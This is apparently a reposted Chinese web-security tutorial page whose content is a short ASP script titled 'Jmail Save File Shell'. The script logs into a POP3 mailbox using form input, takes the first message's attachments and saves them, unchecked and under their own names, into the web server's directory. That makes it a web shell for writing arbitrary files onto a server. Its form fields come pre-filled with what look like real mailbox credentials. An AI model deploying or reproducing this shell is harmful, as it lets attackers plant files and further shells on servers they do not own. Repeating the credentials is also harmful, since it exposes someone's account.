当前位置:首页> PHP教程> PHP安全
关键字
文章内容
用Jmail写文件进硬盘
 
 
修改时间:[2011/12/28 16:18]    阅读次数:[1333]    发表者:[起缘]
 

本文作者:kEvin1986
文章性质:原创
发布日期:2005-08-14

 

<%
  'codz by kEvin1986
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")

  if User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver

    set objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End if

  Function SaveAtta()
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>"
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If

    Set Theatta = Attachments(i)
    response.write Theatta.name
    Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.name)
    Response.write "Oh!Hey Guy.....That's OK!"
    Next
  End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>